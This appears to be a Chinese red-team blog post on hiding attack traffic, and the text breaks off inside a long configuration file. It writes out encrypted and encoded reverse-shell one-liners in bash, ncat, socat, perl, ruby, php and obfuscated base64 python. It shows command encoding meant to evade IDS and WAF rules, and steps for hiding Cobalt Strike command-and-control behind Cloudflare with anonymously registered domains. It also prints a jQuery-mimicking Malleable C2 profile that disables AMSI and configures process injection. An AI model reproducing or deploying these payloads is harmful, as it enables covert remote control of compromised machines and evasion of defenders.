美文网首页内网攻防
红队攻击之流量加密小结

红队攻击之流量加密小结

作者: book4yi | 来源:发表于2022-05-30 09:31 被阅读0次

    SSL加密的反弹shell:

    0x01 使用OpenSSL对nc进行流量加密:

    1. 生成 SSL 证书的公钥/私钥对:
    openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
    

    生成自签名证书时会提示输入证书信息,如果懒得填写可以一路回车即可。成功生成后,在桌面有两个pem加密文件:

    1. 服务端开启监听:
    openssl s_server -quiet -key key.pem -cert cert.pem -port 2333
    
    ncat -lvnp 4444 --ssl --ssl-cert=cert.pem --ssl-key=key.pem
    
    1. 客户端加密反弹 shell 的流量:
    mkfifo /tmp/s;/bin/bash -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 119.x.x.x:2333 > /tmp/s; rm /tmp/s
    
    ncat --ssl 127.0.0.1 4444 -e /bin/bash
    
    第一行是比较常见和简单的形式,第二行是交互型的shell
    socat exec:'bash' openssl-connect:127.0.0.1:4444,verify=0
    socat exec:'bash -li',pty,stderr,setsid,sigint,sane openssl-connect:127.0.0.1:4444,verify=0
    
    perl -e 'use IO::Socket::SSL;$p=fork;exit,if($p);$c=IO::Socket::SSL->new(PeerAddr=>"127.0.0.1:2332",SSL_verify_mode=>0);while(sysread($c,$i,8192)){syswrite($c,`$i`);}'
    
    ruby -rsocket -ropenssl -e 'c=OpenSSL::SSL::SSLSocket.new(TCPSocket.new("127.0.0.1","1234")).connect;while(cmd=c.gets);puts(cmd);IO.popen(cmd.to_s,"r"){|io|c.print io.read}end'
    
    php -r '$ctxt=stream_context_create(["ssl"=>["verify_peer"=>false,"verify_peer_name"=>false]]);while($s=@stream_socket_client("ssl://127.0.0.1:4444",$erno,$erstr,30,STREAM_CLIENT_CONNECT,$ctxt)){while($l=fgets($s)){exec($l,$o);$o=implode("\n",$o);$o.="\n";fputs($s,$o);}}'&
    
    python -c "exec('aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zLHNzbApzbz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSkKc28uY29ubmVjdCgoJzEyNy4wLjAuMScsNDQ0NCkpCnM9c3NsLndyYXBfc29ja2V0KHNvKQp5bj1GYWxzZQp3aGlsZSBub3QgeW46CglkYXRhPXMucmVjdigxMDI0KQoJaWYgbGVuKGRhdGEpPT0wOgoJCXluID0gVHJ1ZQoJcHJvYz1zdWJwcm9jZXNzLlBvcGVuKGRhdGEsc2hlbGw9VHJ1ZSxzdGRvdXQ9c3VicHJvY2Vzcy5QSVBFLHN0ZGVycj1zdWJwcm9jZXNzLlBJUEUsc3RkaW49c3VicHJvY2Vzcy5QSVBFKQoJc3Rkb3V0X3ZhbHVlPXByb2Muc3Rkb3V0LnJlYWQoKSArIHByb2Muc3RkZXJyLnJlYWQoKQoJcy5zZW5kKHN0ZG91dF92YWx1ZSkK'.decode('base64'))" >/dev/null 2>&1
    

    项目地址:https://github.com/Green-m/dark-shell
    该脚本的好处是不用生成证书

    服务端启动监听:

    ruby dark_shell.rb listen 0.0.0.0 6868 ssl
    

    自动化输出客户端连接命令,包含各种各样的 payload:

    ruby dark_shell.rb gen 81.x.x.x 6868 ssl
    

    补充说明:服务端的命令和客户端的命令不一定需要相同,是可以混用的。比如用 ncat 的服务端,可以使用perl/python/socat 等方式链接,甚至 metasploit 的 reverse_perl_ssl 作为服务端监听的端口,也可以使用 ncat -ssl 进行连接,底层的原理都是一样的。

    0x02 Base64/Base32/Hex 编码的反弹shell:

    因为大部分的系统里面都自带这几个命令,这也符合本文的出发点。但由于nc / bash / telnet 等命令基本都不支持对流量进行编码,因此需要我们对流量进行单独处理。

    • 服务端:

    服务端使用原生自带的命令来监听比较麻烦,命令比较长,也容易出问题。因此我这里就直接采用 dark-shell 的方式来进行:

    ruby dark_shell.rb listen 0.0.0.0 6888 base64
    ruby dark_shell.rb listen 0.0.0.0 6888 base32
    ruby dark_shell.rb listen 0.0.0.0 6888 hex
    
    • Client 端:

    exec:

    # base64
    0<&137-;exec 137<>/dev/tcp/127.0.0.1/4444;cat <&137 |while read ff; do echo $ff|base64 -d|sh |base64 >&137 2>&137;done
    
    # base32
    0<&137-;exec 137<>/dev/tcp/127.0.0.1/4444;cat <&137 |while read ff; do echo $ff|base32 -d|sh |base32 >&137 2>&137;done
    
    # hex
    0<&137-;exec 137<>/dev/tcp/127.0.0.1/4444;cat <&137 |while read ff; do echo $ff|xxd -r -p|sh |xxd -p >&137 2>&137;done
    

    nc:

    # base64
    mknod backpipe p;tail -f backpipe |nc 127.0.0.1 4444 | while read ff; do echo $ff|base64 -d|bash|base64 &> backpipe; done
    
    # base32
    mknod backpipe p;tail -f backpipe |nc 127.0.0.1 4444 | while read ff; do echo $ff|base32 -d|bash|base32 &> backpipe; done
    
    # hex
    mknod backpipe p;tail -f backpipe |nc 127.0.0.1 4444 | while read ff; do echo $ff|xxd -r -p|bash|xxd -p &> backpipe; done
    

    telnet:

    # base64
    tail -f backpipe |telnet 127.0.0.1 4444 | while read ff; do echo $ff|base64 -d|bash|base64 &> backpipe; done
    
    # base32
    tail -f backpipe |telnet 127.0.0.1 4444 | while read ff; do echo $ff|base32 -d|bash|base32 &> backpipe; done
    
    # hex
    tail -f backpipe |telnet 127.0.0.1 4444 | while read ff; do echo $ff|xxd -r -p|bash|xxd -p &> backpipe; done
    

    dark-shell 直接生成,最后的参数为编码的方式:

    ruby dark_shell.rb gen 81.x.x.x 6888 hex
    
    0x03 编码命令:

    由于 hids,nids,waf 等各种安全检测手段的存在,我们的命令可能直接会匹配上某些正则规则(大部分ids还依赖这样比较低级的手法来检测),从而触发报警;另外, 前文中的 hex 和 base64 编码的命令,是多条命令拼接和处理的,存在大量符号和空格,容易被截断和转义。

    出于这两种情况的存在,我们可以对命令进行编码,来解决这样的问题。

    /bin/bash -c '{echo,d2hvYW1pCg==}|{base64,-d}|{bash,-i}'等价于whoami
    echo 77686f616d690a|xxd -p -r| bash -i等价于whoami

    在 dark-shell 里直接实现了这样的功能:ruby dark_shell.rb gencode 81.x.x.x 6999 base64

    每段的第一条表示编码前的命令,后面三条命令是不同的编码形式: base64, hex, base32。

    CS流量加密:

    0x01 使用CDN:

    使用CDN内容分发网络的多节点分布式技术,通过“加速、代理、缓存”隐藏在后面的静态文件或服务;最终实现对外暴露的是CDN多节点的公网域名IP,很难甚至无法溯源真实后端服务器的域名或IP!

    注意:使用国内CDN服务商的产品的域名必须完成ICP实名备案

    利用步骤:

      1. 匿名注册新域名https://www.freenom.com/zh/index.html?lang=zh
      1. 匿名注册免费CDN服务Cloudflarehttps://www.cloudflare.com/zh-cn/

    补充:国内云主机且没有进行备案,就无法使用80、8080、443、8443端口提供服务

    注意:Cloudflare的CDN对于http、https代理模式只能监听特定端口,免费版本的cloudflare支持解析少量的端口

    • Cloudflare支持的HTTP端口范围: 80,8080,8880,2052,2082,2086,2095
    • Cloudflare支持的HTTPS端口范围: 443,2053,2083,2087,2096,8443

    实际测试中似乎无法通过443上线,状态码报525

    以上针对的是https的beacon,http的话在DNS中加一个二级域名并使用该二级域名上线即可。
    不用额外再弄一个profile,因为http的beacon只看域名。

    0x02 cloudflare生成证书:

    利用过程:

    如果使用默认证书进行渗透和测试,容易被IDS入侵检测工具和流量检测工具拦截和发现。默认使用的证书是 cobaltstrike.store

    • 1. 在cloudflare的dash页面找到SSL/TLS->源服务器->创建证书,之后将公钥和私钥保存下来,分别为server.pem和client.key

    Cloudflare 默认的 TLS 配置为灵活,由于我们使用了 Cloudflare 给原服务器发的证书,我们可以改成完全(严格)提高安全性。

    • 2. 将证书打包并生成store文件:
    openssl pkcs12 -export -in server.pem -inkey client.key -out your-domain.com.p12 -name your-domain.com -passout pass:"pass123" 
    keytool -importkeystore -deststorepass "pass123" -destkeypass "pass123" -destkeystore your-domain.com.store -srckeystore your-domain.com.p12 -srcstoretype PKCS12 -srcstorepass "pass123" -alias your-domain.com
    

    将生成的证书,放置到CS根目录;将teamserver中的keystore,keyStorePassword替换成上传的证书和证书密码。

    • 3. profile

    C2-profile 文件是 Cobalt Strike 内置工具,可以修改流量特征以及修改beacon的默认行为,将攻击流量伪装成正常的流量,防止安全设备对流量特征进行监控和拦截。

    包括以下行为的流量特征:

    1、get请求
    2、post请求
    3、被远程加载的beacon.dll的特征
    4、远程加载beacon.dll的url
    5、进程注入的具体细节
    6、后渗透模块的特征修改

    官网指导:
    https://www.cobaltstrike.com/help-malleable-c2
    https://www.cobaltstrike.com/help-malleable-postex

    要想使用我们自己申请的证书,这里就需要使用‘Malleable C2 profile’的方式来操作。
    Github 上已经有非常多优秀的 C2-Profile 可以供我们使用了,我们需要使用 Profile 让 Beacon 和 Teamserver 之间的交互看起来尽可能像正常的流量。

    https://github.com/rsmudge/Malleable-C2-Profiles
    https://github.com/threatexpress/malleable-c2

    这里我使用的是后者 jquery 的 profile,需要下载对应cs版本的profile文件进行修改

    # Malleable C2 Profile
    # Version: CobaltStrike 4.4
    # File: jquery-c2.4.4.profile
    # Description: 
    #    c2 profile attempting to mimic a jquery.js request
    #    uses signed certificates
    #    or self-signed certificates
    # Authors: @joevest, @andrewchiles, @001SPARTaN 
    
    # Profile Name
    set sample_name "jQuery CS 4.4 Profile";
    
    ##    - Beacon Timing in milliseconds (1000 = 1 sec)
    set sleeptime "45000";         # 回传时间 45 S
    #set sleeptime "300000";       # 5 Minutes
    set jitter    "37";            # 会传时间的波动在37%
    
    ################################################
    ##  Server Response Size jitter
    ################################################
    ##  Description:
    ##   Append random-length string (up to data_jitter value) to http-get and http-post server output.
    set data_jitter "100";          
    
    set useragent "Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko";
    
    https-certificate {
        set C   "US";
        set CN  "jquery.com";
        set O   "jQuery";
        set OU  "Certificate Authority";
        set validity "365";
    }
    
    set tcp_port "42585";
    set tcp_frame_header "\x80";
    
    ################################################
    ## SMB beacons
    ################################################
    ## Description:
    ##    Peer-to-peer beacon using SMB for communication
    ##    SMB Frame Header
    ##     - Added in CS 4.1, prepend header to SMB Beacon messages
    ## Defaults:
    ##    pipename: msagent_##
    ##    pipename_stager: status_##
    ##    smb_frame_header: N\A
    ## Guidelines:
    ##    - Do not use an existing namedpipe, Beacon doesn't check for conflict!
    ##    - the ## is replaced with a number unique to a teamserver     
    ## ---------------------
    set pipename         "mojo.5688.8052.183894939787088877##"; # Common Chrome named pipe
    set pipename_stager  "mojo.5688.8052.35780273329370473##"; # Common Chrome named pipe
    set smb_frame_header "\x80";
    
    ################################################
    ## DNS beacons
    ################################################
    ## Description:
    ##    Beacon that uses DNS for communication
    ## Defaults:
    ##    dns_idle: 0.0.0.0
    ##    dns_max_txt: 252
    ##    dns_sleep: 0
    ##    dns_stager_prepend: N/A
    ##    dns_stager_subhost: .stage.123456.
    ##    dns_ttl: 1
    ##    maxdns: 255
    ##    beacon: N/A
    ##    get_A:  cdn.
    ##    get_AAAA: www6.
    ##    get_TXT: api.
    ##    put_metadata: www.
    ##    put_output: post.
    ##    ns_reponse: drop
    ## Guidelines:
    ##    - DNS beacons generate a lot of DNS request. DNS beacon are best used as low and slow back up C2 channels
    
    dns-beacon {
        # Options moved into "dns-beacon" group in version 4.3
        set dns_idle           "74.125.196.113"; #google.com (change this to match your campaign)
        set dns_max_txt        "252";
        set dns_sleep          "0"; #    Force a sleep prior to each individual DNS request. (in milliseconds)
        set dns_ttl            "5";
        set maxdns             "255";
        set dns_stager_prepend ".resources.123456.";
        set dns_stager_subhost ".feeds.123456.";
    
        # DNS subhosts override options, added in version 4.3
        set beacon           "a.bc.";
        set get_A            "b.1a.";
        set get_AAAA         "c.4a.";
        set get_TXT          "d.tx.";
        set put_metadata     "e.md.";
        set put_output       "f.po.";
        set ns_response      "zero";
    
    }
    
    set ssh_banner        "OpenSSH_7.4 Debian (protocol 2.0)";
    set ssh_pipename      "wkssvc##";
    
    set host_stage "true"; # Host payload for staging over HTTP, HTTPS, or DNS. Required by stagers.set
    
    http-stager {  
        set uri_x86 "/jquery-3.3.1.slim.min.js";
        set uri_x64 "/jquery-3.3.2.slim.min.js";
    
        server {
            header "Server" "NetDNA-cache/2.2";
            header "Cache-Control" "max-age=0, no-cache";
            header "Pragma" "no-cache";
            header "Connection" "keep-alive";
            header "Content-Type" "application/javascript; charset=utf-8";
            output {
                ## The javascript was changed.  Double quotes and backslashes were escaped to properly render (Refer to Tips for Profile Parameter Values)
                # 2nd Line            
                prepend "!function(e,t){\"use strict\";\"object\"==typeof module&&\"object\"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error(\"jQuery requires a window with a document\");return t(e)}:t(e)}(\"undefined\"!=typeof window?window:this,function(e,t){\"use strict\";var n=[],r=e.document,i=Object.getPrototypeOf,o=n.slice,a=n.concat,s=n.push,u=n.indexOf,l={},c=l.toString,f=l.hasOwnProperty,p=f.toString,d=p.call(Object),h={},g=function e(t){return\"function\"==typeof t&&\"number\"!=typeof t.nodeType},y=function e(t){return null!=t&&t===t.window},v={type:!0,src:!0,noModule:!0};function m(e,t,n){var i,o=(t=t||r).createElement(\"script\");if(o.text=e,n)for(i in v)n[i]&&(o[i]=n[i]);t.head.appendChild(o).parentNode.removeChild(o)}function x(e){return null==e?e+\"\":\"object\"==typeof e||\"function\"==typeof e?l[c.call(e)]||\"object\":typeof e}var b=\"3.3.1\",w=function(e,t){return new w.fn.init(e,t)},T=/^[\\s\\uFEFF\\xA0]+|[\\s\\uFEFF\\xA0]+$/g;w.fn=w.prototype={jquery:\"3.3.1\",constructor:w,length:0,toArray:function(){return o.call(this)},get:function(e){return null==e?o.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=w.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return w.each(this,e)},map:function(e){return this.pushStack(w.map(this,function(t,n){return e.call(t,n,t)}))},slice:function(){return this.pushStack(o.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(n>=0&&n<t?[this[n]]:[])},end:function(){return this.prevObject||this.constructor()},push:s,sort:n.sort,splice:n.splice},w.extend=w.fn.extend=function(){var e,t,n,r,i,o,a=arguments[0]||{},s=1,u=arguments.length,l=!1;for(\"boolean\"==typeof a&&(l=a,a=arguments[s]||{},s++),\"object\"==typeof a||g(a)||(a={}),s===u&&(a=this,s--);s<u;s++)if(null!=(e=arguments[s]))for(t in e)n=a[t],a!==(r=e[t])&&(l&&r&&(w.isPlainObject(r)||(i=Array.isArray(r)))?(i?(i=!1,o=n&&Array.isArray(n)?n:[]):o=n&&w.isPlainObject(n)?n:{},a[t]=w.extend(l,o,r)):void 0!==r&&(a[t]=r));return a},w.extend({expando:\"jQuery\"+(\"3.3.1\"+Math.random()).replace(/\\D/g,\"\"),isReady:!0,error:function(e){throw new Error(e)},noop:function(){},isPlainObject:function(e){var t,n;return!(!e||\"[object Object]\"!==c.call(e))&&(!(t=i(e))||\"function\"==typeof(n=f.call(t,\"constructor\")&&t.constructor)&&p.call(n)===d)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e){m(e)},each:function(e,t){var n,r=0;if(C(e)){for(n=e.length;r<n;r++)if(!1===t.call(e[r],r,e[r]))break}else for(r in e)if(!1===t.call(e[r],r,e[r]))break;return e},trim:function(e){return null==e?\"\":(e+\"\").replace(T,\"\")},makeArray:function(e,t){var n=t||[];return null!=e&&(C(Object(e))?w.merge(n,\"string\"==typeof e?[e]:e):s.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:u.call(t,e,n)},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;r<n;r++)e[i++]=t[r];return e.length=i,e},grep:function(e,t,n){for(var r,i=[],o=0,a=e.length,s=!n;o<a;o++)(r=!t(e[o],o))!==s&&i.push(e[o]);return i},map:function(e,t,n){var r,i,o=0,s=[];if(C(e))for(r=e.length;o<r;o++)null!=(i=t(e[o],o,n))&&s.push(i);else for(o in e)null!=(i=t(e[o],o,n))&&s.push(i);return a.apply([],s)},guid:1,support:h}),\"function\"==typeof Symbol&&(w.fn[Symbol.iterator]=n[Symbol.iterator]),w.each(\"Boolean Number String Function Array Date RegExp Object Error Symbol\".split(\" \"),function(e,t){l[\"[object \"+t+\"]\"]=t.toLowerCase()});function C(e){var t=!!e&&\"length\"in e&&e.length,n=x(e);return!g(e)&&!y(e)&&(\"array\"===n||0===t||\"number\"==typeof t&&t>0&&t-1 in e)}var E=function(e){var t,n,r,i,o,a,s,u,l,c,f,p,d,h,g,y,v,m,x,b=\"sizzle\"+1*new Date,w=e.document,T=0,C=0,E=ae(),k=ae(),S=ae(),D=function(e,t){return e===t&&(f=!0),0},N={}.hasOwnProperty,A=[],j=A.pop,q=A.push,L=A.push,H=A.slice,O=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},P=\"\r";
                # 1st Line
                prepend "/*! jQuery v3.3.1 | (c) JS Foundation and other contributors | jquery.org/license */";
                append "\".(o=t.documentElement,Math.max(t.body[\"scroll\"+e],o[\"scroll\"+e],t.body[\"offset\"+e],o[\"offset\"+e],o[\"client\"+e])):void 0===i?w.css(t,n,s):w.style(t,n,i,s)},t,a?i:void 0,a)}})}),w.each(\"blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu\".split(\" \"),function(e,t){w.fn[t]=function(e,n){return arguments.length>0?this.on(t,null,e,n):this.trigger(t)}}),w.fn.extend({hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),w.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,\"**\"):this.off(t,e||\"**\",n)}}),w.proxy=function(e,t){var n,r,i;if(\"string\"==typeof t&&(n=e[t],t=e,e=n),g(e))return r=o.call(arguments,2),i=function(){return e.apply(t||this,r.concat(o.call(arguments)))},i.guid=e.guid=e.guid||w.guid++,i},w.holdReady=function(e){e?w.readyWait++:w.ready(!0)},w.isArray=Array.isArray,w.parseJSON=JSON.parse,w.nodeName=N,w.isFunction=g,w.isWindow=y,w.camelCase=G,w.type=x,w.now=Date.now,w.isNumeric=function(e){var t=w.type(e);return(\"number\"===t||\"string\"===t)&&!isNaN(e-parseFloat(e))},\"function\"==typeof define&&define.amd&&define(\"jquery\",[],function(){return w});var Jt=e.jQuery,Kt=e.$;return w.noConflict=function(t){return e.$===w&&(e.$=Kt),t&&e.jQuery===w&&(e.jQuery=Jt),w},t||(e.jQuery=e.$=w),w});";
                print;
            }
        }
    
        client {
            header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
            header "Accept-Language" "en-US,en;q=0.5";
            #header "Host" "code.jquery.com";
            header "Referer" "http://code.jquery.com/";
            header "Accept-Encoding" "gzip, deflate";
        }
    }
    
    
    post-ex {
        # Optionally specify non-existent filepath to force manual specification based on the Beacon host's running processes
        set spawnto_x86 "%windir%\\syswow64\\dllhost.exe";
        # Hardcode paths like C:\\Windows\\System32\\dllhost.exe to avoid potential detections for %SYSNATIVE% use. !! This will break when attempting to spawn a 64bit post-ex job from a 32bit Beacon.
        set spawnto_x64 "%windir%\\sysnative\\dllhost.exe";
        # change the permissions and content of our post-ex DLLs
        set obfuscate "true";
        # pass key function pointers from Beacon to its child jobs
        set smartinject "true";
        # disable AMSI in powerpick, execute-assembly, and psinject
        set amsi_disable "true";
        # Modify our post-ex pipe names
        set pipename "Winsock2\\CatalogChangeListener-###-0,";
        set keylogger "GetAsyncKeyState";
        #set threadhint "module!function+0x##"
    }
    
    stage {
        
        # CS 4.2 added allocator and MZ header overrides
        set allocator      "VirtualAlloc"; # Options are: HeapAlloc, MapViewOfFile, and VirtualAlloc
        #set magic_mz_x86   "MZRE";
        #set magic_mz_x64   "MZAR";
        set magic_pe       "NO";
        set userwx         "false"; 
        set stomppe        "true";
        set obfuscate      "true";
        set cleanup        "true";
        # CS 3.12 Addition "Obfuscate and Sleep"
        set sleep_mask     "true";
        # CS 4.1  
        set smartinject    "true";
    
        # Make the Beacon Reflective DLL look like something else in memory
        # Values captured using peclone agaist a Windows 10 version of explorer.exe
        set checksum       "0";
        set compile_time   "11 Nov 2016 04:08:32";
        set entry_point    "650688";
        set image_size_x86 "4661248";
        set image_size_x64 "4661248";
        set name           "srv.dll";
        set rich_header    "\x3e\x98\xfe\x75\x7a\xf9\x90\x26\x7a\xf9\x90\x26\x7a\xf9\x90\x26\x73\x81\x03\x26\xfc\xf9\x90\x26\x17\xa4\x93\x27\x79\xf9\x90\x26\x7a\xf9\x91\x26\x83\xfd\x90\x26\x17\xa4\x91\x27\x65\xf9\x90\x26\x17\xa4\x95\x27\x77\xf9\x90\x26\x17\xa4\x94\x27\x6c\xf9\x90\x26\x17\xa4\x9e\x27\x56\xf8\x90\x26\x17\xa4\x6f\x26\x7b\xf9\x90\x26\x17\xa4\x92\x27\x7b\xf9\x90\x26\x52\x69\x63\x68\x7a\xf9\x90\x26\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
    
        # The transform-x86 and transform-x64 blocks pad and transform Beacon's Reflective DLL stage. These blocks support three commands: prepend, append, and strrep.
        transform-x86 { # transform the x86 rDLL stage
            prepend "\x90\x90\x90\x90\x90\x90\x90\x90\x90"; # prepend nops
            strrep "ReflectiveLoader" "execute"; # Change this text
            strrep "This program cannot be run in DOS mode" ""; # Remove this text
            strrep "beacon.dll" ""; # Remove this text
        }
        transform-x64 { # transform the x64 rDLL stage
            prepend "\x90\x90\x90\x90\x90\x90\x90\x90\x90"; # prepend nops
            strrep "ReflectiveLoader" "execute"; # Change this text in the Beacon DLL
            strrep "beacon.x64.dll" ""; # Remove this text in the Beacon DLL
        }
    
        stringw "jQuery"; # Add this string to the DLL
    }
    
    process-inject {
    
        # set a remote memory allocation technique: VirtualAllocEx|NtMapViewOfSection
        set allocator "NtMapViewOfSection";
    
        # Minimium memory allocation size when injecting content
        set min_alloc "17500";
        
        # Set memory permissions as permissions as initial=RWX, final=RX
        set startrwx "false";
        set userwx   "false";
    
        # Transform injected content to avoid signature detection of first few bytes. Only supports prepend and append.
        transform-x86 {
            prepend "\x90\x90";
            #append "\x90\x90";
        }
    
        transform-x64 {
            prepend "\x90\x90";
            #append "\x90\x90";
        }
      
        execute {
    
            # The order is important! Each step will be attempted (if applicable) until successful
            ## self-injection
            CreateThread "ntdll!RtlUserThreadStart+0x42";
            CreateThread;
    
            ## Injection via suspened processes (SetThreadContext|NtQueueApcThread-s)
            # OPSEC - when you use SetThreadContext; your thread will have a start address that reflects the original execution entry point of the temporary process.
            # SetThreadContext;
            NtQueueApcThread-s;
            
            ## Injection into existing processes
            # OPSEC Uses RWX stub - Detected by Get-InjectedThread. Less detected by some defensive products.
            #NtQueueApcThread; 
            
            # CreateRemotThread - Vanilla cross process injection technique. Doesn't cross session boundaries
            # OPSEC - fires Sysmon Event 8
            CreateRemoteThread;
            
            # RtlCreateUserThread - Supports all architecture dependent corner cases (e.g., 32bit -> 64bit injection) AND injection across session boundaries
            # OPSEC - fires Sysmon Event 8. Uses Meterpreter implementation and RWX stub - Detected by Get-InjectedThread
            RtlCreateUserThread; 
        }
    }
    
    http-config {
        set headers "Date, Server, Content-Length, Keep-Alive, Connection, Content-Type";
        header "Server" "Apache";
        header "Keep-Alive" "timeout=10, max=100";
        header "Connection" "Keep-Alive";
        # Use this option if your teamserver is behind a redirector
        set trust_x_forwarded_for "true";
        # Block Specific User Agents with a 404 (added in 4.3)
        set block_useragents "curl*,lynx*,wget*";
    }
    
    http-get {
    
        set uri "/jquery-3.3.1.min.js";
        set verb "GET";
    
        client {
    
            header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
            #header "Host" "code.jquery.com";
            header "Referer" "http://code.jquery.com/";
            header "Accept-Encoding" "gzip, deflate";
    
            metadata {
                base64url;
                prepend "__cfduid=";
                header "Cookie";
            }
        }
    
        server {
    
            header "Server" "NetDNA-cache/2.2";
            header "Cache-Control" "max-age=0, no-cache";
            header "Pragma" "no-cache";
            header "Connection" "keep-alive";
            header "Content-Type" "application/javascript; charset=utf-8";
    
            output {   
                mask;
                base64url;
                ## The javascript was changed.  Double quotes and backslashes were escaped to properly render (Refer to Tips for Profile Parameter Values)
                # 2nd Line            
                prepend "!function(e,t){\"use strict\";\"object\"==typeof module&&\"object\"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error(\"jQuery requires a window with a document\");return t(e)}:t(e)}(\"undefined\"!=typeof window?window:this,function(e,t){\"use strict\";var n=[],r=e.document,i=Object.getPrototypeOf,o=n.slice,a=n.concat,s=n.push,u=n.indexOf,l={},c=l.toString,f=l.hasOwnProperty,p=f.toString,d=p.call(Object),h={},g=function e(t){return\"function\"==typeof t&&\"number\"!=typeof t.nodeType},y=function e(t){return null!=t&&t===t.window},v={type:!0,src:!0,noModule:!0};function m(e,t,n){var i,o=(t=t||r).createElement(\"script\");if(o.text=e,n)for(i in v)n[i]&&(o[i]=n[i]);t.head.appendChild(o).parentNode.removeChild(o)}function x(e){return null==e?e+\"\":\"object\"==typeof e||\"function\"==typeof e?l[c.call(e)]||\"object\":typeof e}var b=\"3.3.1\",w=function(e,t){return new w.fn.init(e,t)},T=/^[\\s\\uFEFF\\xA0]+|[\\s\\uFEFF\\xA0]+$/g;w.fn=w.prototype={jquery:\"3.3.1\",constructor:w,length:0,toArray:function(){return o.call(this)},get:function(e){return null==e?o.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=w.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return w.each(this,e)},map:function(e){return this.pushStack(w.map(this,function(t,n){return e.call(t,n,t)}))},slice:function(){return this.pushStack(o.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(n>=0&&n<t?[this[n]]:[])},end:function(){return this.prevObject||this.constructor()},push:s,sort:n.sort,splice:n.splice},w.extend=w.fn.extend=function(){var e,t,n,r,i,o,a=arguments[0]||{},s=1,u=arguments.length,l=!1;for(\"boolean\"==typeof a&&(l=a,a=arguments[s]||{},s++),\"object\"==typeof a||g(a)||(a={}),s===u&&(a=this,s--);s<u;s++)if(null!=(e=arguments[s]))for(t in e)n=a[t],a!==(r=e[t])&&(l&&r&&(w.isPlainObject(r)||(i=Array.isArray(r)))?(i?(i=!1,o=n&&Array.isArray(n)?n:[]):o=n&&w.isPlainObject(n)?n:{},a[t]=w.extend(l,o,r)):void 0!==r&&(a[t]=r));return a},w.extend({expando:\"jQuery\"+(\"3.3.1\"+Math.random()).replace(/\\D/g,\"\"),isReady:!0,error:function(e){throw new Error(e)},noop:function(){},isPlainObject:function(e){var t,n;return!(!e||\"[object Object]\"!==c.call(e))&&(!(t=i(e))||\"function\"==typeof(n=f.call(t,\"constructor\")&&t.constructor)&&p.call(n)===d)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e){m(e)},each:function(e,t){var n,r=0;if(C(e)){for(n=e.length;r<n;r++)if(!1===t.call(e[r],r,e[r]))break}else for(r in e)if(!1===t.call(e[r],r,e[r]))break;return e},trim:function(e){return null==e?\"\":(e+\"\").replace(T,\"\")},makeArray:function(e,t){var n=t||[];return null!=e&&(C(Object(e))?w.merge(n,\"string\"==typeof e?[e]:e):s.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:u.call(t,e,n)},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;r<n;r++)e[i++]=t[r];return e.length=i,e},grep:function(e,t,n){for(var r,i=[],o=0,a=e.length,s=!n;o<a;o++)(r=!t(e[o],o))!==s&&i.push(e[o]);return i},map:function(e,t,n){var r,i,o=0,s=[];if(C(e))for(r=e.length;o<r;o++)null!=(i=t(e[o],o,n))&&s.push(i);else for(o in e)null!=(i=t(e[o],o,n))&&s.push(i);return a.apply([],s)},guid:1,support:h}),\"function\"==typeof Symbol&&(w.fn[Symbol.iterator]=n[Symbol.iterator]),w.each(\"Boolean Number String Function Array Date RegExp Object Error Symbol\".split(\" \"),function(e,t){l[\"[object \"+t+\"]\"]=t.toLowerCase()});function C(e){var t=!!e&&\"length\"in e&&e.length,n=x(e);return!g(e)&&!y(e)&&(\"array\"===n||0===t||\"number\"==typeof t&&t>0&&t-1 in e)}var E=function(e){var t,n,r,i,o,a,s,u,l,c,f,p,d,h,g,y,v,m,x,b=\"sizzle\"+1*new Date,w=e.document,T=0,C=0,E=ae(),k=ae(),S=ae(),D=function(e,t){return e===t&&(f=!0),0},N={}.hasOwnProperty,A=[],j=A.pop,q=A.push,L=A.push,H=A.slice,O=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},P=\"\r";
                # 1st Line
                prepend "/*! jQuery v3.3.1 | (c) JS Foundation and other contributors | jquery.org/license */";
